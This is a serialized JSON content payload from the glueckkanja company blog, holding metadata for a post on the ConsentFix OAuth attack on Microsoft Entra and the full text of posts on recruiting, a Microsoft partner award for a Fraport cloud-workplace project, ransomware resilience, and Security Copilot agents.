entrascpes.com",{"title":927,"searchDepth":928,"depth":928,"links":7211},[7212,7215,7216,7217,7225,7229],{"id":6540,"depth":928,"text":6541,"children":7213},[7214],{"id":6567,"depth":935,"text":6568},{"id":6620,"depth":928,"text":6621},{"id":6636,"depth":928,"text":6637},{"id":6672,"depth":928,"text":6673,"children":7218},[7219,7220,7221,7222,7223,7224],{"id":6676,"depth":935,"text":6677},{"id":6700,"depth":935,"text":6701},{"id":6762,"depth":935,"text":6763},{"id":6799,"depth":935,"text":6800},{"id":6959,"depth":935,"text":6960},{"id":6978,"depth":935,"text":6979},{"id":7025,"depth":928,"text":7026,"children":7226},[7227,7228],{"id":7036,"depth":935,"text":7037},{"id":7139,"depth":935,"text":7140},{"id":7178,"depth":928,"text":7179},{"lang":940,"seoTitle":7231,"titleClass":942,"date":7232,"categories":7233,"blogtitlepic":7234,"socialimg":7235,"customExcerpt":7236,"keywords":7237,"hreflang":7238,"scripts":7243,"asideNav":7244,"maxContent":511,"published":511},"ConsentFix: How a New OAuth Attack Bypasses Microsoft Entra Conditional Access","2025-12-31",[373],"head-consentfix","/blog/heads/head-consentfix.jpg","Just before year's end, ConsentFix emerges: a clever OAuth-based attack that abuses legitimate authentication flows to steal the authorization code, effectively handing attackers the keys to Microsoft Entra. We break down why this works despite Conditional Access, which signals it leaves behind in the logs, and how defenders can detect and stop it before real damage is done.","ConsentFix attack, OAuth authorization code theft, Microsoft Entra OAuth attack, Azure CLI token abuse, Entra ID Conditional Access bypass, authorization code phishing, token replay attack Azure, Proof of Possession tokens, WAM authentication security, Azure sign-in log analysis, detect OAuth attacks Entra, Azure identity threat hunting, Global Secure Access token protection, Microsoft Entra security detection",[7239,7241],{"lang":4,"href":7240},"/de/posts/2025-12-31-vulnerability-consentfix",{"lang":940,"href":7242},"/es/posts/2025-12-31-vulnerability-consentfix",{"slick":511,"form":511},{"menuItems":7245},[7246,7248,7250,7252,7254,7256],{"href":7247,"text":6541},"#detection-artifacts",{"href":7249,"text":6621},"#reduce-the-noise",{"href":7251,"text":6637},"#affected-first-party-applications",{"href":7253,"text":6673},"#mitigations-and-protections",{"href":7255,"text":7026},"#hunting-queries",{"href":7257,"text":7179},"#further-reading","/posts/2025-12-31-vulnerability-consentfix",{"title":6445,"description":6451},"posts/2025-12-31-vulnerability-consentfix",[7262,7263,435],"OAuth 2.0","Microsoft Entra ID","26B6SWkxj0NfoHeIubOlb9OlTnzmbglVCl1HPyRhfAI",{"id":7266,"title":7267,"author":7268,"body":7269,"cta":767,"description":7273,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":7370,"moment":7371,"navigation":511,"path":7383,"seo":7384,"stem":7385,"tags":7386,"webcast":752,"__hash__":7388},"content_es/posts/2025-12-08-recruiting-process.md","Nuestro Proceso de Solicitud Explicado",[1313],{"type":806,"value":7270,"toc":7362},[7271,7274,7277,7280,7291,7295,7297,7300,7303,7307,7309,7312,7323,7326,7330,7332,7335,7339,7341,7344,7348,7350,7353,7357,7359],[809,7272,7273],{},"A menudo nos preguntan: ¿Qué necesito aportar y qué es importante para ustedes?",[809,7275,7276],{},"Lo que es importante para nosotros es que estés entusiasmado por trabajar en una empresa tecnológica innovadora. Nos vemos como un equipo que tira en la misma dirección.",[809,7278,7279],{},"Y estamos buscando personas que sean tan apasionadas por la tecnología como nosotros:",[1649,7281,7282,7285,7288],{},[1653,7283,7284],{},"Que no rehúyan los desafíos sino que prosperen cuando pueden sumergirse en temas complejos.",[1653,7286,7287],{},"Que cuestionen el status quo y desarrollen apasionadamente nuevas soluciones innovadoras – para glueckkanja y nuestros clientes.",[1653,7289,7290],{},"Que disfruten ser parte de una comunidad, compartiendo su conocimiento y aprendiendo unos de otros.",[897,7292,7294],{"id":7293},"paso-1-tu-solicitud","Paso 1: Tu Solicitud",[809,7296,825],{},[809,7298,7299],{},"Has enviado tus documentos – ¡el primer paso está hecho! En nuestra empresa, ninguna IA revisa tu solicitud, sino nuestro equipo de reclutamiento personalmente. ¿Te preguntas quién está detrás del equipo de reclutamiento? ¡Aquí estamos!",[809,7301,7302],{},"Nosotros – eso es Kerstin, Anna, Steffi y Jan – nos tomamos el tiempo para revisar cuidadosamente tu CV y verificar si tu experiencia y habilidades coinciden con nuestros requisitos. Nuestro objetivo: Recibirás comentarios de nosotros en máximo 1–2 semanas, pero generalmente después de solo unos días. Sabemos lo angustiosa que puede ser la espera.",[897,7304,7306],{"id":7305},"paso-2-conociendo-a-las-personas-y-la-cultura","Paso 2: Conociendo a las Personas y la Cultura",[809,7308,825],{},[809,7310,7311],{},"Si tu perfil encaja, pasamos a la primera ronda. No te preocupes – ¡no necesitas estar nervioso! Ya has causado una gran primera impresión con tu CV. En la conversación, queremos conocerte como persona:",[1649,7313,7314,7317,7320],{},[1653,7315,7316],{},"¿Quién eres?",[1653,7318,7319],{},"¿Qué te motiva?",[1653,7321,7322],{},"¿Qué buscas en tu futuro?",[809,7324,7325],{},"Se trata de un encuentro abierto y honesto de igual a igual.",[897,7327,7329],{"id":7328},"paso-3-intercambio-técnico-con-tu-futuro-líder","Paso 3: Intercambio Técnico con tu Futuro Líder",[809,7331,825],{},[809,7333,7334],{},"En la segunda conversación, conocerás a tu líder. Ahora se pone un poco más técnico: Discutimos tus habilidades profesionales y puedes hacer todas las preguntas sobre tareas, equipo y proyectos. Un poco de emoción es natural – ¡pero hey, ya estás un paso más adelante!",[897,7336,7338],{"id":7337},"paso-4-encuentro-con-el-equipo-y-verificación-cultural","Paso 4: Encuentro con el Equipo y Verificación Cultural",[809,7340,825],{},[809,7342,7343],{},"En glueckkanja, la cultura es más que una palabra – es nuestra vida diaria. Por eso en el último paso conocerás a tu equipo potencial. Queremos asegurar que sea un buen ajuste para ambas partes – profesional y personalmente.",[897,7345,7347],{"id":7346},"final-tu-oferta","Final: Tu Oferta",[809,7349,825],{},[809,7351,7352],{},"¿Nos has convencido? Entonces viene la conversación personal de oferta. Aquí aclaramos todos los detalles sobre la oferta y respondemos todas tus preguntas finales.",[897,7354,7356],{"id":7355},"por-qué-tantos-pasos","¿Por Qué Tantos Pasos?",[809,7358,825],{},[809,7360,7361],{},"Simple: Queremos asegurar que te sientas cómodo con nosotros y que tengamos éxito juntos. Todas las conversaciones se realizan de igual a igual – y el tuteo es natural para nosotros.",{"title":927,"searchDepth":928,"depth":928,"links":7363},[7364,7365,7366,7367,7368,7369],{"id":7293,"depth":935,"text":7294},{"id":7305,"depth":935,"text":7306},{"id":7328,"depth":935,"text":7329},{"id":7337,"depth":935,"text":7338},{"id":7346,"depth":935,"text":7347},{"id":7355,"depth":935,"text":7356},{"lang":940,"seoTitle":7267,"titleClass":942,"date":7371,"categories":7372,"blogtitlepic":7373,"socialimg":7374,"customExcerpt":7375,"keywords":7376,"hreflang":7377,"scripts":7382},"2025-12-08",[945],"head-recruiting-process","/blog/heads/head-recruiting-process.png","¿Has descubierto una posición emocionante con nosotros y quieres postularte? Genial – ¡siempre estamos felices de dar la bienvenida a nuevos talentos! ¿Pero qué sucede después de hacer clic en 'Enviar Solicitud'? Aquí te damos una mirada detrás de escena.","Reclutamiento, Proceso de Solicitud, Empleos en Empresa de TI",[7378,7380],{"lang":4,"href":7379},"/de/posts/2025-12-08-recruiting-process.md",{"lang":1026,"href":7381},"/en/posts/2025-12-08-recruiting-process.md",{"slick":511,"form":511},"/posts/2025-12-08-recruiting-process",{"title":7267,"description":7273},"posts/2025-12-08-recruiting-process",[2453,7387,2235],"Recruiting","LxMEwGYV_RC9VM7OJF7oSsMTgHYuT79J9rEWOqb0mp0",{"id":7390,"title":7391,"author":7392,"body":7393,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":7471,"moment":7472,"navigation":511,"path":7530,"seo":7531,"stem":7532,"tags":7533,"webcast":752,"__hash__":7535},"content_es/posts/2025-11-12-partner-of-the-year-awards.md","Cloud-first at the airport: Microsoft Partner of the Year Awards 2025",[804],{"type":806,"value":7394,"toc":7465},[7395,7399,7401,7404,7407,7411,7413,7416,7419,7433,7436,7439,7443,7445,7448,7452,7454,7457],[819,7396,7398],{"id":7397},"from-the-runway-to-the-cloud","From the runway to the cloud",[809,7400,825],{},[809,7402,7403],{},"Fraport operates 29 airports worldwide, including Frankfurt Airport, one of Europe's largest transportation hubs. More than 80,000 employees keep operations running every day, from baggage handling to IT security. To make all this work, you need a reliable, scalable, and secure digital infrastructure.",[809,7405,7406],{},"That's where the joint project between Fraport and glueckkanja came in: the existing VDI environment was to be replaced with a modern, cloud-based workplace architecture. The goal: more flexibility, less complexity, and a platform built for a globally connected organization.",[819,7408,7410],{"id":7409},"cloud-managed-workplace","Cloud Managed Workplace",[809,7412,825],{},[809,7414,7415],{},"At the core lies the combination of Windows 365 Cloud PCs and the Microsoft Intune Suite. Today, more than 16,500 endpoints are centrally deployed, managed, and secured.",[809,7417,7418],{},"The results:",[1649,7420,7421,7424,7427,7430],{},[1653,7422,7423],{},"Device provisioning in minutes instead of hours",[1653,7425,7426],{},"Automated processes for higher efficiency",[1653,7428,7429],{},"Transparent management and monitoring",[1653,7431,7432],{},"A Zero Trust security model across all devices",[809,7434,7435],{},"The outcome: a workplace concept that enables Fraport employees to work securely and flexibly across all locations, devices, and roles.",[2398,7437],{":quotes":7438,":no-fullscreen":2401,"spacing":2402},"quoteMicrosoft",[819,7440,7442],{"id":7441},"recognition-for-innovation-and-collaboration","Recognition for innovation and collaboration",[809,7444,825],{},[809,7446,7447],{},"Each year, Microsoft honors partners who deliver outstanding cloud solutions, services, and innovations. In a global competition with more than 4,600 submissions, glueckkanja was recognized for the successful implementation of the Fraport project, a strong signal for the growing importance of cloud-based workplace solutions in critical infrastructures.",[819,7449,7451],{"id":7450},"a-blueprint-for-modern-workplace-architecture","A blueprint for modern workplace architecture",[809,7453,825],{},[809,7455,7456],{},"This project demonstrates how complex infrastructures can be reimagined through the cloud — without compromising on security or user experience. For Fraport, it marked the move to a standardized, cloud-based workplace model. For glueckkanja, it’s a proof point of how modern IT strategies can scale sustainably.",[809,7458,7459,7460,3448],{},"The full list of award-winning projects can be found ",[813,7461,7464],{"href":7462,"rel":7463},"https://aka.ms/2025POTYAWinnersFinalists",[1509],"here",{"title":927,"searchDepth":928,"depth":928,"links":7466},[7467,7468,7469,7470],{"id":7397,"depth":928,"text":7398},{"id":7409,"depth":928,"text":7410},{"id":7441,"depth":928,"text":7442},{"id":7450,"depth":928,"text":7451},{"lang":940,"seoTitle":7391,"titleClass":942,"date":7472,"categories":7473,"blogtitlepic":7474,"socialimg":7475,"customExcerpt":7476,"keywords":7477,"contactInContent":7478,"hreflang":7518,"scripts":7523,"quoteMicrosoft":7524},"2025-11-12",[945],"head-partner-of-the-year-2025","/blog/heads/head-partner-of-the-year-2025.jpg","Out of more than 4,600 nominations from over 100 countries, one project stood out as a showcase of what modern IT can look like: together with Fraport, glueckkanja was recognized at the Microsoft Partner of the Year Awards 2025 in the Cloud Endpoints category.","Microsoft Partner of the Year Awards 2025, Cloud Endpoints Award, glueckkanja Fraport, Fraport Microsoft Case Study, Windows 365 Cloud PC, Microsoft Intune Suite, Cloud Managed Workplace, Azure Cloud Migration, Zero Trust Security, Modern Workplace, Cloud-first strategy, Digital workplace transformation, Endpoint management, Device provisioning automation, Secure cloud infrastructure, Scalable IT architecture, Cloud governance and compliance, Enterprise mobility and security, Airport IT infrastructure, Aviation digital transformation, Critical infrastructure IT, Global operations, Remote workforce enablement, IT modernization in transportation, Cloud-based workplace for critical infrastructure, Microsoft Windows 365 and Intune in enterprise environments, Secure and scalable endpoint management, Transforming airport IT operations with Azure",{"quote":511,"infos":7479},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":7480,"subline":7481,"level":819,"textStyling":956,"flush":957,"person":7482,"form":7491},"Get in Touch","Want to learn more about the project and our award? We'd be happy to show you how Fraport’s journey toward a standardized cloud architecture was brought to life.",{"image":7483,"cloudinary":511,"alt":1183,"name":1183,"quotee":1183,"quoteeTitle":7484,"quote":7485,"detailsHeader":7486,"details":7487},"/people/people-christian-kanja.jpg","CEO","The project with Fraport shows how standardization and automation can enable a secure, scalable workplace model, exactly what's needed to run and evolve IT environments reliably over the long term.","We’re looking forward\u003Cbr />to hearing from you!",[7488,7490],{"text":765,"href":1900,"details":7489,"icon":970},"Jetzt anrufen",{"text":766,"href":2325,"icon":974},{"ctaText":7492,"cta":7493,"method":938,"action":979,"fields":7494},"Submit",{"skin":978},[7495,7496,7499,7502,7505,7508,7511,7512,7513,7515,7516,7517],{"type":982,"id":983,"value":984},{"label":7497,"type":987,"id":988,"required":511,"requiredMsg":7498},"Name*","Please enter your name.",{"label":7500,"type":987,"id":615,"required":511,"requiredMsg":7501},"Company*","Please enter your company.",{"label":7503,"type":995,"id":995,"required":511,"requiredMsg":7504},"Email address*","Please enter your email address.",{"label":7506,"type":999,"id":1000,"required":752,"requiredMsg":7507},"Your message to us","Please enter a message.",{"label":7509,"type":1004,"id":1005,"required":511,"requiredMsg":7510},"Your data will be stored and used to respond to your request. For more details, please see our \u003Ca href=\"/en/privacy\">Privacy Policy\u003C/a>.","Please confirm",{"type":982,"id":1008,"value":945},{"type":982,"id":1010,"value":2337},{"type":982,"id":1013,"value":7514},"Form: Blog Microsoft Partner of the Year | EN",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[7519,7521],{"lang":1026,"href":7520},"/en/posts/2025-11-12-partner-of-the-year-awards",{"lang":4,"href":7522},"/de/posts/2025-11-12-partner-of-the-year-awards",{"slick":511,"form":511},{"items":7525},[7526],{"text":7527,"name":7528,"company":7529,"alt":7528},"By moving to Windows 365 Cloud PCs and the Intune Suite, we've achieved a new level of agility and security. The collaboration with glueckkanja has laid the foundation for future innovation.","Niklas Rast","Senior Solution Architect at Fraport","/posts/2025-11-12-partner-of-the-year-awards",{"title":7391,"description":927},"posts/2025-11-12-partner-of-the-year-awards",[1035,7534],"Partner of the Year","xdoiwIT46OdFnqN-8WuZLdx2b9TEMYQKwGUcceL3SWA",{"id":7537,"title":7538,"author":7539,"body":7540,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":7667,"moment":7669,"navigation":511,"path":7710,"seo":7711,"stem":7712,"tags":7713,"webcast":752,"__hash__":7715},"content_es/posts/2025-10-07-prevent-cyber-attacks.md","Prevención de ciberataques: Cómo las empresas construyen resiliencia con estructuras de TI",[804],{"type":806,"value":7541,"toc":7658},[7542,7544,7548,7550,7553,7556,7560,7562,7566,7568,7575,7578,7582,7584,7592,7595,7602,7606,7608,7615,7622,7626,7628,7636,7639,7643,7645,7648,7651],[2472,7543],{},[819,7545,7547],{"id":7546},"por-qué-los-ciberataques-tienen-tanto-éxito","Por qué los ciberataques tienen tanto éxito",[809,7549,825],{},[809,7551,7552],{},"Los ataques de ransomware no son una coincidencia. Los atacantes eligen deliberadamente momentos en los que las empresas tienen menos personal, como los fines de semana. Aprovechan vulnerabilidades como procesos de autenticación obsoletos, sistemas sin parches o puntos de acceso mal configurados. Un error común: la falta de un concepto de seguridad unificado. En lugar de una estrategia global bien diseñada, muchas empresas confían en medidas aisladas que resultan insuficientes frente a ataques complejos.",[809,7554,7555],{},"Sin embargo, existen enfoques ampliamente probados: un modelo de seguridad basado en principios de zero trust, así como una estructuración clara de los derechos de acceso y la automatización para permitir una respuesta rápida en caso de emergencia.",[819,7557,7559],{"id":7558},"tres-pilares-para-una-estrategia-de-seguridad-de-ti-sólida","Tres pilares para una estrategia de seguridad de TI sólida",[809,7561,825],{},[819,7563,7565],{"id":7564},"infraestructura-segura-la-base-de-la-resiliencia","Infraestructura segura: la base de la resiliencia",[809,7567,2494],{},[809,7569,7570,7571,7574],{},"Una infraestructura de TI resiliente no solo debe funcionar de forma fiable, sino también cerrar activamente las brechas de seguridad. En nuestro ejemplo, fue necesario aislar 300 ordenadores. El primer paso fue, por tanto, la reinstalación completa de un entorno limpio, basado en nuestra ",[813,7572,319],{"href":7573},"https://www.glueckkanja.com/es/azure/azure-foundation?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article",". Esta infraestructura cloud sigue directrices de seguridad claras y se despliega de forma estandarizada mediante Infrastructure-as-Code (IaC). Así, las configuraciones de seguridad pueden comprobarse y actualizarse automáticamente según las mejores prácticas.",[809,7576,7577],{},"Otra ventaja: la aplicación de los principios de zero trust garantiza que las cargas de trabajo estén segmentadas y solo se habiliten para conexiones autorizadas. Así, la superficie de ataque se mantiene al mínimo.",[819,7579,7581],{"id":7580},"la-seguridad-comienza-con-la-autenticación","La seguridad comienza con la autenticación",[809,7583,2494],{},[809,7585,7586,7587,7591],{},"En casi todos los ciberataques, la gestión de identidades es el primer punto de ataque. Las contraseñas solas ya no son suficientes. Con ",[813,7588,7590],{"href":7589},"https://www.glueckkanja.com/es/modern-workplace/azure-active-directory?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","Entra ID",", las cuentas de usuario pueden se gestionan y protegen de forma centralizada. La autenticación multifactor (MFA) es el estándar.",[809,7593,7594],{},"Otra ventaja: las actividades sospechosas se detectan y revisan automáticamente. Por ejemplo, si un usuario inicia sesión desde otra ubicación en pocos minutos, el sistema lo identifica como posible amenaza y bloquea el acceso de inmediato.",[809,7596,7597,7598,7601],{},"Para detectar atacantes en la infraestructura, se utilizan sistemas avanzados como Extended Detection and Response (XDR) y Security Information and Event Management (SIEM). Estas soluciones consolidan alarmas y eventos, los analizan y permiten una evaluación rápida. Un SOC gestionado, como el ",[813,7599,425],{"href":7600},"https://www.glueckkanja.com/es/security/cloud-security-operations-center?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," de glueckkanja, ayuda a aprovechar al máximo estas tecnologías.",[819,7603,7605],{"id":7604},"restaurar-los-puestos-de-trabajo-rápidamente","Restaurar los puestos de trabajo rápidamente",[809,7607,2494],{},[809,7609,7610,7611,7614],{},"Tras un ataque, los empleados deben poder reanudar su trabajo lo antes posible. Las soluciones en la nube como ",[813,7612,103],{"href":7613},"https://www.glueckkanja.com/es/modern-workplace/microsoft-intune?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," son esenciales para lograrlo. Los dispositivos pueden restablecerse y configurarse por completo desde un portal central, sin importar la ubicación del usuario.",[809,7616,7617,7618,7621],{},"La ventaja: los empleados pueden realizar el proceso ellos mismos sin que el departamento de TI tenga que configurar manualmente cada dispositivo. Además, plataformas como ",[813,7619,519],{"href":7620},"https://www.realmjoin.com/?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," distribuyen automáticamente todos los paquetes de software necesarios y aseguran la instalación de las actualizaciones de seguridad.",[819,7623,7625],{"id":7624},"protección-de-emergencia-azere-como-solución-de-contingencia","Protección de emergencia: AzERE como solución de contingencia",[809,7627,825],{},[809,7629,7630,7631,7635],{},"Un incidente como este demuestra lo importante que es contar con una estrategia de emergencia. ",[813,7632,7634],{"href":7633},"https://www.glueckkanja.com/es/azure/azure-emergency-response-environment?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","AzERE"," (Azure Emergency Response Environment) ofrece un entorno aislado en el que sistemas críticos como el controlador de dominio se replican en una instancia segura “Dark Tenant”. Esto permite acceder a una versión limpia de los datos, incluso ante un ataque a gran escala.",[809,7637,7638],{},"Además, AzERE facilita la creación de una “War Room” digital: una plataforma donde todas las partes implicadas se reúnen para coordinar acciones en tiempo real. Esta capacidad de comunicación central puede ser decisiva cuando cada minuto cuenta.",[819,7640,7642],{"id":7641},"conclusión-resiliencia-proactiva-en-lugar-de-reaccionar-ante-amenazas","Conclusión: resiliencia proactiva en lugar de reaccionar ante amenazas",[809,7644,825],{},[809,7646,7647],{},"Este incidente demuestra que un concepto de seguridad efectivo requiere más que soluciones aisladas. Se necesita una combinación de infraestructura cloud segura, gestión de identidades robusta y un entorno de trabajo moderno que pueda restaurarse rápidamente.",[809,7649,7650],{},"Y por eso nuestras historias de IT Workaholics tratan sobre personas cuyas operaciones de TI hemos logrado llevar del modo crisis a la normalidad.",[809,7652,7653,7654,3699],{},"¡Lee ahora las ",[813,7655,7657],{"href":7656},"https://www.glueckkanja.com/es/it-workaholics?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","historias de IT Workaholics",{"title":927,"searchDepth":928,"depth":928,"links":7659},[7660,7661,7662,7663,7664,7665,7666],{"id":7546,"depth":928,"text":7547},{"id":7558,"depth":928,"text":7559},{"id":7564,"depth":928,"text":7565},{"id":7580,"depth":928,"text":7581},{"id":7604,"depth":928,"text":7605},{"id":7624,"depth":928,"text":7625},{"id":7641,"depth":928,"text":7642},{"lang":940,"seoTitle":7668,"titleClass":942,"date":7669,"categories":7670,"blogtitlepic":7671,"socialimg":7672,"customExcerpt":7673,"keywords":7674,"contactInContent":7675,"hreflang":7703,"footer":7708,"scripts":7709,"published":511},"Prevención de ciberataques: Cómo las empresas construyen resiliencia con estructuras de TI ","2025-10-07",[373],"head-preventing-cyber-attacks","/blog/heads/head-preventing-cyber-attacks.png","Sábado por la mañana, en algún lugar de Alemania. Mientras muchos apenas comienzan el fin de semana, nuestro equipo detecta las primeras señales de alerta en los sistemas de una empresa cliente: actividades inusuales que encienden todas las alarmas. Un análisis rápido confirma la sospecha: ransomware. En cuestión de minutos, los sistemas críticos quedan comprometidos. Lo que sigue es una carrera contrarreloj: asegurar los sistemas, aislar las áreas críticas y comenzar el proceso de recuperación.","Security, CSOC, Microsoft Security, Cyber Attacks, Prevention",{"quote":511,"infos":7676},{"bgColor":952,"headline":7677,"subline":7678,"level":819,"textStyling":956,"flush":957,"person":7679,"form":7681},"Contáctanos","¿Quieres saber cómo nuestros 10 agentes de Security Copilot, nativos de Microsoft, simplifican tus operaciones en Security, Entra, Intune y Purview? Completa el formulario y te compartiremos información, demostraciones y ejemplos prácticos adaptados a tus necesidades.",{"image":1896,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":7680},"Lo que nuestros clientes ganan con nosotros es tiempo y claridad: los equipos de seguridad dedican menos esfuerzo al análisis manual y la resolución de incidencias, y pueden centrarse en las amenazas que realmente importan. Con nuestros 10 agentes de Security Copilot, te ayudamos a reforzar tu seguridad, reducir costes y simplificar el día a día directamente en Microsoft Security.",{"ctaText":976,"cta":7682,"method":938,"action":979,"fields":7683},{"skin":978},[7684,7685,7687,7689,7691,7693,7696,7697,7698,7700,7701,7702],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":7686},"Por favor, introduce tu nombre.",{"label":991,"type":987,"id":615,"required":511,"requiredMsg":7688},"Por favor, introduce tu empresa.",{"label":2051,"type":995,"id":995,"required":511,"requiredMsg":7690},"Por favor, introduce tu correo electrónico.",{"label":2054,"type":999,"id":1000,"required":752,"requiredMsg":7692},"Por favor, escribe un mensaje.",{"label":7694,"type":1004,"id":1005,"required":511,"requiredMsg":7695},"Tus datos se almacenarán y se utilizarán para responder a tu solicitud. Más detalles en nuestra \u003Ca href=\"/es/privacy\">Política de Privacidad\u003C/a>.","Por favor, confirma",{"type":982,"id":1008,"value":373},{"type":982,"id":1010,"value":2337},{"type":982,"id":1013,"value":7699},"Form: Blog Microsoft Security Store | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[7704,7706],{"lang":4,"href":7705},"/de/posts/2025-10-07-prevent-cyber-attacks.md",{"lang":1026,"href":7707},"/en/posts/2025-10-07-prevent-cyber-attacks.md",{"noMargin":511},{"slick":511},"/posts/2025-10-07-prevent-cyber-attacks",{"title":7538,"description":927},"posts/2025-10-07-prevent-cyber-attacks",[373,7714],"CSOC","xet6RlUNAScslwZ0eSJk2SajOI8YUqVCgAfM2ReutWI",{"id":7717,"title":7718,"author":7719,"body":7720,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":7821,"moment":7823,"navigation":511,"path":7861,"seo":7862,"stem":7863,"tags":7864,"webcast":752,"__hash__":7867},"content_es/posts/2025-09-30-security-store.md","Entre los primeros a nivel mundial: glueckkanja Security Copilot Agents",[804],{"type":806,"value":7721,"toc":7816},[7722,7726,7728,7731,7733,7736,7739,7742,7745,7749,7756,7760,7770,7781,7798,7809],[819,7723,7725],{"id":7724},"en-el-lanzamiento-de-microsoft-security-store-glueckkanja-presentó-10-security-copilot-agents","En el lanzamiento de Microsoft Security Store, glueckkanja presentó 10 Security Copilot Agents",[809,7727,825],{},[809,7729,7730],{},"Offenbach, Alemania – 30 de septiembre de 2025 – glueckkanja anuncia hoy su incorporación al ecosistema de partners de Microsoft Security Store. Como uno de los primeros partners seleccionados, glueckkanja destaca por su experiencia probada en tecnologías de seguridad de Microsoft, su espíritu innovador y su estrecha colaboración con Microsoft.",[2398,7732],{":quotes":2398,":no-fullscreen":2401},[2499,7734],{"style":7735},"padding-top:50px;",[809,7737,7738],{},"Trabajamos mano a mano con Microsoft para dar forma al desarrollo del Microsoft Security Store, aportando feedback sobre nuevas funcionalidades, integraciones y necesidades reales de los clientes. Publicando soluciones certificadas y agentes de IA que se integran perfectamente con los productos de Microsoft Security, te lo ponemos fácil para descubrir, comprar e implementar tecnologías de seguridad de confianza. A través del Security Store, te ayudamos a acelerar tus resultados de seguridad y simplificar las operaciones con soluciones validadas, fáciles de desplegar y diseñadas para funcionar en conjunto.",[809,7740,7741],{},"El Microsoft Security Store simplifica cómo puedes descubrir, comprar e implementar soluciones y agentes de IA de confianza. Con integraciones certificadas, facturación sencilla y despliegue rápido, el Security Store te ayuda a reforzar tu postura de seguridad y centrarte en lo que realmente importa.",[809,7743,7744],{},"El Microsoft Security Store marca un nuevo estándar en la adquisición y operación de soluciones de ciberseguridad. Centralizando una amplia gama de soluciones y agentes de IA, ahora puedes descubrir, adquirir y poner en marcha tecnologías avanzadas de seguridad de forma mucho más ágil. Funcionalidades como el alineamiento con frameworks del sector, la facturación simplificada y el despliegue guiado ayudan a tu equipo de seguridad a reducir la complejidad, acelerar la innovación y sacar el máximo partido a tu inversión en seguridad.",[819,7746,7748],{"id":7747},"más-información-en-el-blog-oficial-de-microsoft","Más información en el blog oficial de Microsoft:",[809,7750,7751],{},[813,7752,7755],{"href":7753,"rel":7754},"https://techcommunity.microsoft.com/blog/securitycopilotblog/agentic-security-your-way-build-your-own-security-copilot-agents/4454555",[1509],"Agentic Security Your Way: Build Your Own Security Copilot Agents",[819,7757,7759],{"id":7758},"sobre-glueckkanja","Sobre glueckkanja",[809,7761,7762,7765,7766,7769],{},[1656,7763,7764],{},"Gestionamos y protegemos ecosistemas Microsoft a gran escala","\nglueckkanja es uno de los principales proveedores de servicios gestionados en la nube y partner destacado de Microsoft, ofreciendo entornos Microsoft totalmente ",[1656,7767,7768],{},"cloud-native",", seguros y escalables. Con un enfoque de blueprint unificado y metodología Infrastructure-as-Code, ayudamos a empresas a acelerar su transformación digital y adopción cloud: seguro, consistente y a escala.",[809,7771,7772,7773,7776,7777,7780],{},"Ofrecemos servicios gestionados integrales para ",[1656,7774,7775],{},"Microsoft Azure, Microsoft Entra y Microsoft Intune",", ayudándote a optimizar la gestión de identidades y accesos, modernizar la administración de endpoints y construir infraestructuras Zero Trust conformes. Todo esto se complementa con ",[1656,7778,7779],{},"operaciones de seguridad 24/7"," y respuesta ante incidentes desde nuestro propio Cybersecurity Operations Center (SOC), asegurando protección continua, reacción rápida y cumplimiento con los estándares más actuales.",[809,7782,7783,7784,7786,7787,2271,7789,7791,7792,7794,7795,7797],{},"Para una experiencia Microsoft realmente cloud-native, hemos desarrollado nuestras propias herramientas que simplifican la gestión y automatizan procesos: ",[1656,7785,543],{}," para colaboración segura con datos de Microsoft 365, ",[1656,7788,582],{},[1656,7790,531],{}," para autenticación de red sin contraseñas integrada en Intune, ",[1656,7793,519],{}," para distribución de software a escala y ",[1656,7796,570],{}," para el aprovisionamiento totalmente automatizado de CloudPCs y dispositivos físicos vía Intune.",[809,7799,7800,7801,7804,7805,7808],{},"Fuimos de los primeros partners a nivel mundial en obtener la certificación ",[1656,7802,7803],{},"Microsoft Verified MXDR",", prueba de nuestra excelencia en operaciones de seguridad gestionada. Con cerca de 250 profesionales cloud y una trayectoria de éxito, hemos sido reconocidos varias veces como Microsoft Worldwide Partner of the Year y estamos en el top del cuadrante ",[1656,7806,7807],{},"ISG Microsoft 365"," en Alemania desde 2019.",[809,7810,7811,7812,7815],{},"Además, glueckkanja está entre las TOP 100 empresas más innovadoras de Alemania y nuestra ",[1656,7813,7814],{},"excelente puntuación de 4,7/5 en Kununu"," (la principal plataforma de valoración de empleadores en Alemania) subraya nuestra cultura de excelencia y satisfacción del equipo.",{"title":927,"searchDepth":928,"depth":928,"links":7817},[7818,7819,7820],{"id":7724,"depth":928,"text":7725},{"id":7747,"depth":928,"text":7748},{"id":7758,"depth":928,"text":7759},{"lang":940,"seoTitle":7822,"titleClass":942,"date":7823,"categories":7824,"blogtitlepic":7825,"socialimg":7826,"customExcerpt":7827,"keywords":7828,"maxContent":752,"hreflang":7829,"quotes":7834,"contactInContent":7841,"footer":7859,"scripts":7860,"published":511},"glueckkanja es socio de lanzamiento en Microsoft Security Store con 10 Security Copilot Agents","2025-09-30",[4675],"head-security-agents.jpg","/blog/heads/head-security-agents.jpg","glueckkanja es uno de los primeros partners en el Microsoft Security Store Preview y lanza 10 Security Copilot Agents nativos de Microsoft para Security, Entra, Intune y Purview. Desarrollados en estrecha colaboración con clientes, estos agentes están pensados desde el primer día para los retos reales de la seguridad: totalmente integrados, listos para empresas y hechos para simplificar y acelerar tus operaciones de seguridad.","Microsoft Security Store Preview, Security Copilot Agents, glueckkanja 